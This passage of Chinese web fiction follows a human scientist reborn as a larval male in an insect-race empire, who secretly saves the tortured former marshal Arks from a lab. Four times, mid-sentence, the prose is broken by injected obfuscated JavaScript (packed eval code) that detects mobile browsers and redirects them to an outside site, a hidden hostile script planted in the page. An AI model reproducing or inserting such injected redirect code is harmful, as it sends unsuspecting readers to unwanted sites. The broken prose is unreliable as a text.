性格沉稳的宿主003发出意味不明的笑声。雄虫幼崽肉嘟嘟的软萌脸蛋儿大大削弱了他神情中的嘲讽意味,瞒过系统绰绰有余了。 “我对任务本身没有问题,我杀生无数,看到任何场面都波澜不惊。” “那刚才您是在...?据系统监测,您刚才心跳过载两次,生理性呕吐导致四肢痉挛三次——” 系统更加困惑,它的质疑令胖虫崽脸色一僵,生硬地嗤笑一声: “你都知道我杀生无数了,我的实验台上死过多少生灵(小白鼠和菌群),杀戮已经成为我的习惯。只是我的这具身体太拖后腿了,承载不了我坚如磐石的意念,发生了不可挽回的排异反应。” 四头身的胖虫崽板着脸孔,瓷娃娃似的小饼脸端得冷酷无情,让系统大大舒了一口气。 “那太好了,宿主003,在几个宿主里我最看好你了!你的冷酷一定能让你非常适应这个世界,并且完成任务,这次生命法庭的任务一定不会再出现差池了!” 系统的电子音再次雀跃起来,沃伦金色的眼眸闪了闪,没有反驳系统任何一句话,只是暗中整合系统透露的信息。 一,他不是这个世界的唯一穿越者。他的编号003,证明至少还有其他两个穿越者,任务不明,但目的大概也是生命法庭系统所说的:拯救虫族文明。 二,系统对他束缚不多,但是似乎对他完成任务的能力持怀疑态度,可见之前两个任务者的任务大概是不顺的,原因不明,但沃伦大概也猜得到——如果其他任务者也被派发什么拿活生生的雌虫做实验的狗屁任务,按部就班完成的任务者才更值得提防。 三,系统非常迫切地希望任务者完成任务,拯救文明,但是对没有完成任务的任务者,好似也没有什么惩罚机制,这代表系统的立场相对善良,而沃伦暂时不需要担心系统的威胁。 这些发现让沃伦暂时安心。骤然进入这么光怪陆离,道德沦丧的世界,他当然不是真的波澜不惊,只是见招拆招而已。 前世实验室里的经历确实让沃伦的性格变得“沉稳”,但他再怎么被实验和导师折磨,也是个有求生欲的普通人。他并不后悔用自己的性命救下无辜的孩童,但是如果有机会活着,他也不想死,哪怕是作为一个雄虫幼崽活着。 但是,想要活着就必须融入这个世界,假装自己是一只正常的雄虫。沃伦在系统面前表现得泰山崩于前而面不改色,一方面是因为他在实验室中打磨出的冷淡麻木,二来则是为了向系统证明自己有价值。 呕吐是意料之外,实在丢脸,幸亏系统好说话。 这么想着,四头身的雄虫在老成持重地叹了口气,迈开小短腿向休息室外走去。 房间外,一群身材高挑,形貌端正的雌虫和亚雌躬身等候,神色中都是说不出的恭敬,每只虫都像复制黏贴一样,从骨子里渗出来的顺服反而汇聚成一种难言的恐怖感。 刚踏出门的胖虫崽打了个寒噤,被吐空的胃袋再次绞痛。他硬生生的忍住了,软萌的小饼脸有些发青,索性没有一只虫敢低下头刺探虫崽的神色。 “别跟着我,你们去把x010接回实验室,同时帮我把实验室清空,我要用x010做一些活体实验。” 胖虫崽模拟原主,用冷酷又阴森的腔调讲话,但幼崽的声音细软又清脆,没有半点儿森然的气质。 胖虫崽背心渗汗,但虫族扭曲的文明和森严的等级再次救了他,其他虫都听命离开了,没有半句赘言。 沿着炽白灯光映照的金属连廊,虫崽迈着小短腿安静地走着,一步步丈量他的新生存环境,一双赤金色的眼眸滴溜溜转,努力汲取更多信息。 虫族的科技很超前,根据记忆,沃伦知道这多亏了军雌强悍的战斗力。 高等雌虫和亚雌的身体过分强悍,以至于当雄虫帝国对他们下达征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472113|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伐命令时,没有任何文明可以逃过一劫。那些文明的科技、宝藏、文化和艺术,像流水一样流入雄虫的宝库,巩固这个强大而腐朽的政权。 而帝国的雌虫和亚雌,无论他们付出了什么,也仍然享受不到半点儿胜利果实。 胖虫崽眯起金色的眼眸,心中越发觉得虫族文明理应覆灭,不值得被拯救。 说白了,无论虫族怎么用什么神子、信息素匮乏症、雄虫精神力来混淆视听,它本质是个奴隶制社会。 这个科技发达,奢靡强盛的雄虫帝国,和覆灭在人类文明史中的古罗马没什么两样,甚至更为残酷和血腥。尤其是在亲眼看到瓦利组办的地下角斗场后,沃伦更直观地理解了雄虫帝国的社会结构: 雄虫在这个体系里无疑是奴隶主,就像古罗马时期的罗马男人,当然,因为雄虫数量稀少,以及虫族的信仰体系——雄虫被誉为虫母的孩子,他们的权力和力量由神明亲授——以及掠夺来的战争财和超前的生产力,哪怕是普通d级雄虫的处境,也好过大多数罗马普通男性公民。 他们无需劳作,无需学习,自有帝国下发的金钱和雌虫、亚雌的侍奉。 而雌虫和亚雌,则是再好用不过的奴隶。他们从破壳起就被宗教信仰、政治形态和生存压力驯化着,大多数雌虫和亚雌被迫坚信,不顺从雄虫就背弃了母神,不卑躬屈膝就会被雄虫厌恶,不讨雄虫欢心就会被信息素匮乏症折磨至死。 总的来说,雄虫帝国控制雌虫和亚雌的手段不可谓不高杆,从思想、信仰、生理压制等各方面管控着,而雄虫先天的生理优势又确实牵制雌虫和亚雌的性命。 卑微的活着,还是有尊严地去死?这个问题对于大多数智慧生物来说,都是个伪命题。 因为首先得活着,才能谈尊严。 作为一个外来者,沃伦当然也一眼看穿了雄虫体系最薄弱的一环——军队。 雄虫养尊处优,吸着雌虫和亚雌的血声色犬马,自然不愿意亲临战场。而且他们的身体强度远低于雌虫和亚雌,所以,理所当然的,帝国的军队是由高等雌虫和亚雌组成的。 军雌是这个帝国,乃至整片宇宙的物理战力巅峰。他们为国征战,所向披靡,也只有在军队里,雌虫和亚雌才能稍许接近帝国的权力。 就像古罗马圈养着一群强壮的战俘,用来作战和在角斗场里表演一样,雄虫帝国也默许着这样一群强悍的军雌,叛乱发生是情理之中的事。罗马共和国时期最大规模的奴隶起义由角斗士斯巴达克斯率领,几乎掀翻了整个共和国,而原帝国元帅阿克斯企图挑动军中哗变,在五年前被逮捕并处刑,从此以后,帝国补上了这个缺口,用雄虫取代了雌虫元帅的位置。 虽然阿克斯的叛乱很快就被掐灭在了萌芽里,但恐惧的余韵仍然笼罩在很多知情的高位雄虫心中。 胖虫崽想起阿克斯如今血肉模糊、伤痕累累的模样,加快了小短腿倒腾的速度。 他得先确保雌虫活着,再做其他打算。 他有照顾小白鼠和实验犬的经验,也能养活一个雌虫实验体的,对吧? 5. 雄主是乱叫的吗! 离开角斗场,沃伦在自动驾驶的虫族飞行器旁边踱步两圈,迈开小短腿爬上了飞行器。 五分钟后,飞行器晃动了一下,顺利起飞。 舒适奢华的飞行器内部,一脸严肃的虫崽仔细拆解着飞行器的操作系统,以最快的速度摄入虫族的科技。 攀登一个星际文明的科技树是一件很困难的事,特别是像虫族这种依靠掠夺其他宇宙文明来发家致富的种族。虫族科技杂糅了许多文明的特点,像一团巨大的毛线球,强行粘合使用着,让人望而生畏。 值得庆幸的是,沃伦上辈子的好脑子跟随他来了这个陌生的宇宙。他很快粗略地看过操作系统,心中对虫族的科技状况有了基本的了解,才在降落前把目光挪向飞行器窗外。 帝国研究院位于一座“废弃”矿星,是帝国金翎羽皇族的私产。 矿星盛产高级能量石,但却并未被过度开采,矿业只为掩虫耳目。整个星球生机勃勃,充满富有能量的动植物。 而矿星之上,帝国研究院占地面积极为广博,角斗场所在之处,只是研究院对外的待客会所的一部分,每个科研团队都有自己的研究楼和实验室,由飞行器连接交通。 沃伦的实验室极为特殊,是一片浮空的,充满科技感的建筑群。 据原主的记忆显示,“金翎羽”是皇姓,虽然原主只是亲王之子,并没有继承权,但是他对自己的血统和姓氏极为看重。 他坚信金翎羽是虫族母神的直属后裔,是掌管天空的,真正的神子,和其他血统驳杂的雄虫并不相同。 因此,原主将自己的实验室建成了浮空的,像一座半空中的金色堡垒。 说实话,沃伦对原主神神叨叨的血统论不感兴趣,他只谨慎地绕着实验室飞了一圈,用自己的光脑分析了一下实验室浮空的能量来源和安全性,才稳稳将飞行器停在了地下停机坪上。 因为腿太短,沃伦不得不以蹦跳的姿势走下飞行器,冷肃着一张脸儿的胖崽弹跳着,看得实验室的雌虫侍从大气都不敢喘。 “x010实验体准备好了吗?私虫实验室的闲杂虫等清理走了吗?” 胖虫崽绷着小脸儿,背着小手老成持重地向核心实验室走去。穿着白色研究服的雌虫戴维努力放缓脚步,跟在腿短的雄虫幼崽身后: “都清理走了,冕下。实验体x010也被清理好了,只是他...活性不强,您希望他现在被注射兴奋剂吗?” 戴维谨慎地说,神情恭谨,不露声色,心跳却无声加快,等待雄虫的吩咐。 说x010的活性不强,实在是太牵强了。他状态很差,深度昏迷,几乎可以说是性命垂危。 从戴维的角度来看,x010几乎没有任何实验价值了,准确来说,这个实验体进入帝国研究院五年多,从五年前开始,就只剩下了让雄虫实验员折磨泄愤的作用。 在沃伦冕下没有加入帝国研究院时,x010是阿尔德·金翎羽亲王专属的实验体,亲王对x010有超乎寻常的兴趣和耐心,总是想出层出不穷的花样,刺激x010的痛觉反应,所以当亲王病重,交出研究所的权柄后,戴维和其他实验员都觉得x010命不久矣。 他们觉得这是一件好事,毕竟任何一个见过x010部分经历的人,都不会希望他继续活着,因为那些具像化的痛苦,即便对于冷心冷肺的研究员们来说,也太超过了。 可是老亲王离去,沃伦又来了。 有沃伦的命令在先,戴维等虫自然不感让x010死在沃伦到达之前,但是否要为实验体打一针兴奋剂,延长他的痛觉感官和意识呢? 按理说,戴维应该打这一针,确保沃伦待会儿能尽兴,可是或许方才沃伦在角斗场上异常的行为让他迟疑,他最终没这么做,只拖到现在才小心翼翼地询问。 在戴维屏住呼吸的时候,沃伦的小短腿一顿,神色也僵硬极了——他的任务目标情况非常差,也不知道系统哪来的自信,觉得重伤又目盲的阿克斯能熬过一个又一个的死关。 “不用,把x010的实验记录和身体数据发到我的光脑上。” “是。” 戴维立刻说,向身后挥了挥手,很快,他身后几个实验助手就各自去忙碌。很快,沃伦到了他私虫实验室的门口,他顿了顿,对戴维斯说道: “你曾经跟着我的雄父,最了解几个项目的进度,以后你每日向我汇报一次,除此之外,不要让任何虫接近我的实验室。多——” 沃伦生硬地把“谢”字咽回去,免得引起怀疑。戴维谦恭地应声,而沃伦则迅速闪进实验室门后。 到了密闭又充满实验器材的环境,沃伦才放松了些许。刚进门,他的目光立刻被实验台上的白发雌虫吸引了。 对方双目紧闭,浑身上下毫无血色,血衣已经被换掉了,取而代之地是一件单薄的实验服,裸露出肌肉流畅的四肢和部分躯干。 血珠从被粗暴粘合的伤口处冒出来,像点缀在雪地上的红梅,形成了强烈的视觉刺激,美得残忍而酷烈。 他似乎陷入了很深的昏迷,胸膛的起伏几乎微不可察,胖虫崽的心提起来,他晃晃头上黑软蜷曲的头毛,小手搭在实验台的边缘,指挥光脑撤去了禁锢雌虫的等离子壁,小心将胖手塞进雌虫的心口。 雌虫的皮肤像一团冰冷的白蜡,虫崽的胖手搭上去,很快被冻得僵硬,才得到一点微弱的回应。 而此刻,实验室光脑传出尖锐的警报声: “实验体束缚系统被切断,请雄虫实验员迅速离开,实验体无束缚装置,是否开启实验体绞杀系统?” 胖虫崽被吓得一个激灵,与此同时,如同一团冰雪似的实验体突然睁开了一双烟灰色的眼睛,没有光亮的瞳孔直视着沃伦的方向! 沃伦被吓得跌落操作台,一屁股坐在了地上,蹬这两条粗萝卜腿儿,像被翻了壳儿的乌龟似的,过了几秒才爬起来。 疼痛让虫崽的金色眼睛被生理性的泪水蒙住,因为太过丢脸,他没发出任何声音,只迅速调出光脑,关闭了警报。 尖锐的声音消弥于无形,虫崽顽强地爬起来,踩上一旁的机械臂,升到正常成年虫的高度。 而后开启了变声器: “实验体x010,以后我就是你的实验员,你可以叫我雄主。” 变声器传出一阵阴郁冰冷的男声,非常符合一个年轻变态的雄虫的声音。 可是还没等雌虫有所反应,系统就在沃伦脑海中发出尖锐的爆鸣: “什么雄主?什么雄主?!这个词不是这么用的!” “?” 虫崽在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472114|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里打出一个问号,向系统确认道: “这不是你的原话:‘成为他的炮灰雄主,让沦为帝国实验体的前元帅阿克斯受尽身心折磨’。我完全是按照指示做的。” “不是这样的!您也太冒进了,宿主003!您是要成为他的炮灰雄主,但那主要是为了羞辱阿克斯,毕竟您...咳咳,原主的身体情况您也了解,您不具备犯罪能力!” “但是‘雄主’这个词在虫族社会不能乱用,在雄多雌少的社会背景里,‘雄主’代表所有权,也代表雄虫对雌虫和亚雌的承认和恩宠!毕竟大多数亚雌和雌虫根本没有办法找到一个雄主,侍奉雄主是他们毕生的目标。而您这样对实验体讲话,会造成很多误会!” 沃伦对系统的话嗤之以鼻。他确实知道雄主这个词在虫族社会代表的含义,但是他可不觉得这个称呼对雌虫和亚雌来说是一种“恩宠”。赋予奴隶称呼奴隶主“主人”的权力,怎么算是一种恩赐呢? 更何况,沃伦并不觉得阿克斯这样的雌虫,会因为得到雄主的殊荣而感激涕零,心生动摇。这对于一个敢于反叛的革命者来说,得到一个奴隶主的垂青只是羞辱。 他点点小脑袋表示收到,而后冷静地说: “小问题,我来处理。” 宿主003看起来顺从又靠谱,是其他宿主不具备的气质,系统对他再次有了信心,即便对方刚刚才捅过篓子。 实验台上,阿克斯失明的眼睛精准地朝向虫崽的方向。变声器模糊过的声音有一种说不出的古怪,如果阿克斯处于全盛时期,他立刻就能察觉端倪,可是此刻他能听清楚对方的话就不错了。 “雄、主?” 雌虫的声音如同寒泉击石,渗着刺骨的凉意。他毫无血色的唇轻启,让虫崽瞬间发现了雌虫冰冷身体上唯一显露出来的柔软。 石头一般冷硬的雌虫,有一双花瓣儿一样柔软的唇。 虫崽圆溜溜的金色眼眸忍不住盯着那白樱似的唇看,耳畔传来雌虫的声音: “你的招数比先前的实验员新奇,但我劝你别白费力气了。” 他忍不住咳了两声,唇角染上一丝血色,让虫崽的耳鼓发麻,直愣愣地看着,心跳如鼓。 “我只好奇——” 雌虫实验体的声音低而缓,纤长的白色睫毛洒下清浅的阴影,他睁着灰暗无光的眸子问: “你知道我是阿克斯,怎么敢撤掉禁锢程序?” 在话音未落时,死气沉沉的雌虫突然以手为刃,袭向虫崽的方向。 警报声大作的实验室里,他泛起白光的手指撕裂了虫崽脚下踩着的机械臂。 胖虫崽睁大眼眸,眼底还倒映着阿克斯灰暗的眸子。在他说起自己的姓名时,他被毁掉的眼眸闪过一丝烈焰般的光彩,撼动着虫崽的世界。 他是阿克斯,虫族战神阿克斯,不是实验体x010。 沃伦狼狈地从机械臂上跌落下来,倒栽葱似的趴在地上,而雌虫耗尽了最后的能量。雪白的虫纹如同碎瓷的纹路,爬满了他的脸颊。 他无光的眼眸闪过一丝困惑,心知自己确定了雄虫实验员的方位,如果对方真的放下了戒备,也没有用雄虫精神力反击,他理应将雄虫拦腰斩断了,没有失手的可能。 但他击中的只是一条机械臂。 6. 孝出强大 但阿克斯的困惑没有持续多久,就被能量通路撕裂的剧痛吞噬了。 五年前被剥离翅翼时候留下的破损、丑陋的翅鞘再次涌出鲜红的血浆,细弱如同萤火的白光从血色中蒸腾起来,很快消散在空气里。 他的四肢沉重地砸在地上,再也抬不起来了,意志力像是星船航行时看到的渺远光晕,从几百光年之后落入眼帘,只是一场永远无法企及的梦。 用最后的能量杀这只古怪的雄虫,阿克斯并不后悔。他太了解一个对他感兴趣的雄虫能造成怎样的灾难了,阿尔蒙·金翎羽就是很好的例子。 那恶心的老雄虫用各种药剂和新研发的武器伤害他的身体,等待他的讨饶和惨叫,但他没有施舍其中任何一个。 和帝国其他雄虫一样,阿尔蒙亲王被雌虫的不识趣儿深深冒犯了,更多的“花样”轮番上演,既然阿克斯不愿为他自己的痛苦惨叫,那他会为其他军雌而动容吗? 游戏升级,阿克斯的亲随、副官、甚至是军中只有几面之缘的同僚,他们被皇族抓住细小的把柄,安上叛国的罪名,一个个关入帝国研究院。 而后,他们在阿克斯的身边流血、受刑、惨叫、死亡。 阿克斯第一次登上角斗场,就是为了代替自己曾经的副官奥科维亚。他骤然转变的态度让实验室的雄虫捧腹大笑,得意和残忍弥漫在他们的笑声里,也代表着阿克斯被延长的处决。 这一次,连死亡都无法喊停这场凌迟,忍耐和反抗也无法被勇气加冕,一切痛苦都扭曲、滑稽而可笑,无法被赋予任何意义。 尘埃落定时,痛苦只是痛苦,死亡也只是消亡而已。 所以在束缚消失的那一刻,阿克斯就决定对眼前的雄虫出手。他是经过简单的考量的,首先,他虽然不知道面前的雄虫是谁,但他听上去年轻而莽撞,能够继承帝国研究院的浮空实验室,身份绝非寻常,对实验资源的调动能力是很强的。 只要他活着,且雄虫对他仍有兴趣,那他的副官奥科维亚,还有其他被关押的罪雌在短时间内必死无疑。 只有阿克斯死了,或者新来的雄虫死了,其他实验体或许还有苟延残喘的机会。 束缚被撤销的机会实在难得,阿克斯来不及分辨是年轻雄虫刚赢了钱,放松了戒备,还是对他下了一个圈套,他都只能出手,强行压榨了经脉中最后一点能量,袭向雄虫。 撕裂的不是雄虫,而是机械臂,看来他失败了,这果然是雄虫的圈套。 阿克斯意识到,但他很快被绵长的、死海一般的痛苦吞噬,随着能量耗尽,他精神海的屏障也彻底碎掉了,骨骼发出轻微的脆响,生机迅速流失,呼吸几乎停滞。 最后,他仿佛出现了某种幻觉,一个圆滚滚,热呼呼的球状物拱到了他的胸口,伸出两只软乎乎的爪子抱住他的头颅,同时发出幼崽才有的细嫩声音: “怎么办?他要死了!主脑急救包,急救包!停下警报,该死的——” * 三分钟后,“圆滚滚的东西”脱力地坐在地面上,一脸严肃地盯着自己脑后空间里冒出来的金红色触须。 金红的触须很神秘,半虚半实,另一端连接着阿克斯的脑域。只是看着,就能让沃伦有一种恐惧和压力。但与此同时,他又明确的意识到,这是他的力量。 准确的说,这是原身的力量,雄虫的力量。 在虫族的信仰体系中,雄虫之所以是母神之子,正是因为雄虫拥有精神触须,或者说是精神力。它是高纬度的力量,对于任何肉体凡胎来说,那就是无法抵抗、无法捉摸、无法丈量的神力。 而刚刚在情急之下,沃伦呼叫主脑救命,但是该死的、草菅虫命的实验室里根本没有雌虫和亚雌能用的急救包,仿佛他们本身就是作为耗材而存在。 胖虫崽一边用小肚子怼着阿克斯高耸而冰冷的鼻梁,一边用小爪子拼命扒拉雄虫急救包,发现大多数东西无法救命时,彻底慌了。那不仅是因为生命法庭系统正在他的脑海里大呼小叫,还因为他无法真正面对一个人——智慧生物,在他面前死掉。 杀生无数、心冷如铁的话骗骗系统得了,别把自己给骗了。 一滴眼泪不争气地从幼崽金色的眼眸中低落,正好落在雌虫干涸的眼尾,仿佛一滴水晶点缀在古神的蜡像上。 与此同时,一股诡异的力量应召,撕开了虫崽身后的空间,两条金红色的,蟒蛇状的东西爬出来,探进了阿克斯溃散的精神海。 雌虫消散的虫纹暂时稳住了,重新有了呼吸反应,虫崽这才慌乱地给他打了几针能用得上的药剂,而后一屁股坐在地上。 “这是你的精神触须,宿主003。这是一种高纬度的能量,能够平稳雌虫和亚雌的精神海,也可以绞杀敌人,超高等级的精神力甚至可以穿梭空间,用你们地球人的标准来看——这确实是一种神力。” 系统马后炮似的说: “您可以用精神力暂时稳住任务目标的精神海,但不要建立连接,否则会被他发现。原剧情中,阿克斯没有被任何雄虫标记和控制,请宿主不要修改剧情哦,否则时间线面临崩塌的风险。” “好。” 胖虫崽的心率还没有降下来,整个崽显得有些呆滞,鼓着圆乎乎的小肚子,用胖爪子抱着阿克斯的脑袋,乖乖回答。 系统似乎被萌了一下,泄露出一丝电流音。想起之前一身反骨、上房揭瓦的宿主,再看看眼前这个乖宿主,系统放柔声音说道: “您做得很好,竟然独自解锁了精神力的用法。以后,你可以用精神力保护自己。你是一个a-级的高等雄虫,您的精神力可以抵抗一切武器和物理攻击,只要不对上比您等级高的雄虫,您不会有危险的。” “乖宿主”眸子闪了闪,他感受着精神触须传来的图景——阿克斯的精神海是一片纯然的废墟,看不见的沙土正在啃噬所有物质,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472115|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地四方都在震荡,沃伦稳住一块儿最大的冰岩,耐心地驱散游荡的沙尘,分解和吞噬它们,很快额头就渗出汗水。 “系统,如果精神力是突破维度的召唤物,而雄虫是一种媒介,有什么方法强大自身,成为能召唤更多精神力的媒介呢?” 他顿了顿,又状似无害道: “刚才如果不是我爆发了精神力,阿克斯此刻就死了,这样的工作失误,对于你来说是不是太可惜了?我需要尽快掌握精神力,这对我们的任务来说是必不可少的条件。” 系统对方才的意外还心有余悸——阿克斯的袭击和濒死都太突然,差点儿就功亏一篑。 “理论上,雄虫的精神力等级就是他们的潜能,是没有增长空间的,因为他们的身体很脆弱,但是作为宿主,您和寻常雄虫不同。雄虫不仅是精神力的媒介,真正的神子的力量是由母神赐予的,他们是力量本身,也可以汲取广博的能量,转为己用。” 真老实系统点到为止,假老实的虫崽双眸划过一抹精光:系统认证了他的猜测,精神力是可以掠夺的。 他的等级不够在群狼环伺的情况下保护自己和阿克斯,但是,他还有个躺在床上的便宜雄父。 这么想着,虫崽稳定住阿克斯的精神海,虽然精神海的修复有利于雌虫的恢复,但是阿克斯的身体已经千疮百孔了,所有的能量通路都是断裂的,就像武侠小说中的筋脉寸断,毫无自我修复能力。 说实话,沃伦真不知道他怎么做到用这副身体上角斗场,还百战百胜的。 “我知道了,系统。” 虫崽爬起来,用自己的触须小心翼翼地托举起阿克斯的身体,将他放回了操作台上。他伸出小胖手,小心翼翼地摸摸雌虫冰凉的脸颊,用嫩嫩的掌心蹭掉一滴血水。 “主脑,重启大范围防护系统,把实验体x010关押在这里,实时监控他的身体数据。” 虫崽吩咐道,小心将针剂推进雌虫的体内,为雌虫补充营养和水分。 做完这些,他从实验室的仓库翻出了发热的羽绒被,小心盖在雌虫身上,又调暗了实验室的灯光。 隔着等离子壁防护膜,虫崽盯着雌虫看了好一会儿,才晃晃胖乎乎的手腕儿向外走去: “系统,听说我的雄父卧病在床了,他是s级的雄虫吧?”虫崽用一种平淡的方式说道: “他应该拥有足够多的精神力,比我的多很多。有了更多的精神力,我可以更快的修复阿克斯的精神海了。” 系统莫名感到数据一寒,对虫崽哄堂大孝的发言小心回应: “是的,阿尔蒙亲王是s-雄虫。” “那就简单多了,系统,有了你的关键提示,我们的任务肯定能完成。” 沃伦带着学霸独有的自信,胸有成竹道。系统的数据流乱了一瞬,不知为何感到大事不妙。 ——什么关键提示?它也没说什么重要信息啊。 7. 闯入者 * 接下来的半天,沃伦一边盯着阿克斯的情况,一边改造工具。 他无师自通地用自己的精神力侵入主脑数据库,解码了核心代码,改了实验室的大部分指令,将很多针对实验体的惩罚、折磨程序改为禁锢和释放麻醉剂,以减小实验体的伤亡。 同时,他为自己重新设计了“战甲”——一款让他可以拥有成年雄虫高度和声音的穿戴式外骨骼。他把设计图丢给改造好的主脑,等待工作间生成装备,一边看着监视画面中的阿克斯,一边浏览阿克斯的身体报告。 满目疮痍。 实验室的报告是没有任何情绪的,仿佛阿克斯是一个小白鼠,或者一块木头,可即便如此,实验次数和离奇的实验创意,让阿克斯的报告很长,长到沃伦停下十几次平复情绪,才将报告看完。 报告的最后,赫然写道: “截止星历xx26/3/27,实验体x010损坏严重,等级降为e-,生殖系统完全损坏,基因崩溃,五官残缺,无再造价值,无繁衍价值,无玩赏价值,主脑第108次建议,对其做d级报废处理,焚化后分解为无机物。” 沃伦盯着这段话看,像一尊瓷娃娃似的一动不动。 他说不出自己是什么心思,焚烧心脏的愤怒来得太突然,神色却还漠然冰冷。 这些感觉对沃伦来说陌生得很,他不知道自己该为阿克斯的遭遇感到剧烈的不甘。 他是个人类,按照系统的安排,他不应该把阿克斯也当成自己的同类。阿克斯是任务目标,是实验体,是卑微的雌虫,作为一个外来者,作为人类,沃伦或许应该抽离自己的情感,时刻警醒自己阿克斯只是长得和人类相像,但本质上是强悍的雌虫,人类不了解的异种。 可真是如此吗? 阿克斯困兽一样的战斗,他灰蒙蒙的眼,决绝地攻击和他提起自己名讳时的样子—— ——你知道我是阿克斯,怎么还敢解除禁锢? 说实话,穿到这个世界后,阿克斯是沃伦见过离死亡最近的虫,但与此同时,他也是沃伦见过唯一鲜活的生命。 因为那些在角斗场里为死亡和鲜血欢呼着的雄虫,他们活着吗?活着,但却散发着令人毛骨悚然的鬼气和凶戾,视生命于无物的残忍。那些恭敬得不敢抬头的雌虫和亚雌,他们活着吗?活着,但他们是一尊尊雕像,一个模子刻出来的谦卑和顺服。 只有阿克斯,和他灼目的洁白,是这个世界唯一的亮色。 他就是一个活生生的“人”,一个史诗中传颂的英雄,一个像光源一样吸引人的勇士。 他甚至比沃伦都更像个“人”。 沃伦晃了晃自己扭动着向隔壁实验室探寻的精神触须,认真将手中残酷的实验报告污染。他用精神触须遮盖了大部分记录,只留下一些事实性的内容。 等系统所说的剧情到来,他完成自己的炮灰戏份,阿克斯就可以在摧毁实验室的同时,将帝国研究所对他和其他沦为实验体的军雌犯下的累累罪行,公之于众。 时间才过去不久,隔壁实验台上的雌虫又有了动静,沃伦的一条精神触须鬼鬼祟祟地穿过墙壁,缠绕在实验台的一角,蠢蠢欲动地想要靠近雌虫,被沃伦疑惑地收了回去。 精神触须好像不完全受控,需要磨合。 他有些紧张,既感叹于阿克斯强悍的生命力和不屈的意志,又担心自己的出现会惊扰雌虫——毕竟他是个反派炮灰,还是个雄虫,不讨喜是理所应当的。 在实验室养菌群和小白鼠都不容易,养一个雌虫就更难了。 沃伦叹了口气,正准备去说几句炮灰台词,滥竽充数应付系统时,主脑传来了警报: “主虫,高级实验员瑞德正向您的私虫实验室走来,是否授予其进入权限?” “警报!警报!高级实验员瑞德正在攻击防护程序,请主虫尽快作出反应!” 沃伦皱起眉,看着监控画面中的阿克斯也察觉到了什么,蹙眉从操作台上坐起来,脸上没有什么表情,但沃伦却知道他有多疼。 以阿克斯的身体,哪怕是呼吸都能牵扯剧痛。 而沃伦甚至找不到什么适合雌虫的止疼药。帝国雌虫、亚雌和雄虫生理差异巨大,所有的治愈型药品竟然都是按照雄虫的生理设计的,在战场上浴血拼杀的军雌连合适的止疼药都没有,全靠自愈。 把寻找治愈药物这一条任务标红,沃伦对主脑说: “开门。” 如今,沃伦刚加入帝国研究院不久,和树大根深的瓦利没法相提并论,而刚穿来的研究生沃伦对研究院的形势更是两眼一抹黑,啥也不会。 而他身份特殊,本身就被瓦利时刻盯着,逃避虫群固然能保一时安稳,但没有足够的力量,总归是治标不治本,还会凭空引来更多怀疑。 既然瑞德是单独前来,他倒也可以看看对方的目的,再做打算。 开放权限后,瑞德颇为有礼的把自己的下级研究员和随侍都留在了门外。比起贵族,他的行为举止更得体些,但也不多。 在沃伦没有露面的情况下,他已经找到了核心实验室的门口,并且对上了实验室内雌虫灰色的眼眸。 看着监控画面,沃伦的心一咯噔,他没想到瑞德的目的可能是阿克斯,也顾不得太多,穿上刚刚设计好的外骨骼,用小短腿遥控着更长的机械腿走进了实验室。 “瑞德,你来做什么?” 沃伦驾驶着外骨骼出现,用变声器改变过的成年雄虫音问。听到这个声音,本就暗自警惕的白发雌虫更加紧绷,空洞的灰色眼眸又精准地定位了沃伦。 沃伦强忍着缩缩小脑袋的欲望,站在了阿克斯和瑞德之间。 “日安,沃伦阁下。” 瑞德神色似乎有些不安。半日前,血腥的角斗场仍让他心有余悸,此刻也没有在意沃伦一反常态穿上外骨骼,还戴着变声器的古怪模样——其实大多无法发育的残疾雄虫崽都有怪癖,很多以折磨雌虫和亚雌为乐,沃伦这种装成年虫的怪癖,实在算不上什么。 “我来您这里,是听到了方才的警报,主系统说您这里可能有实验体挣脱束缚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472116|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸亏您没事。” 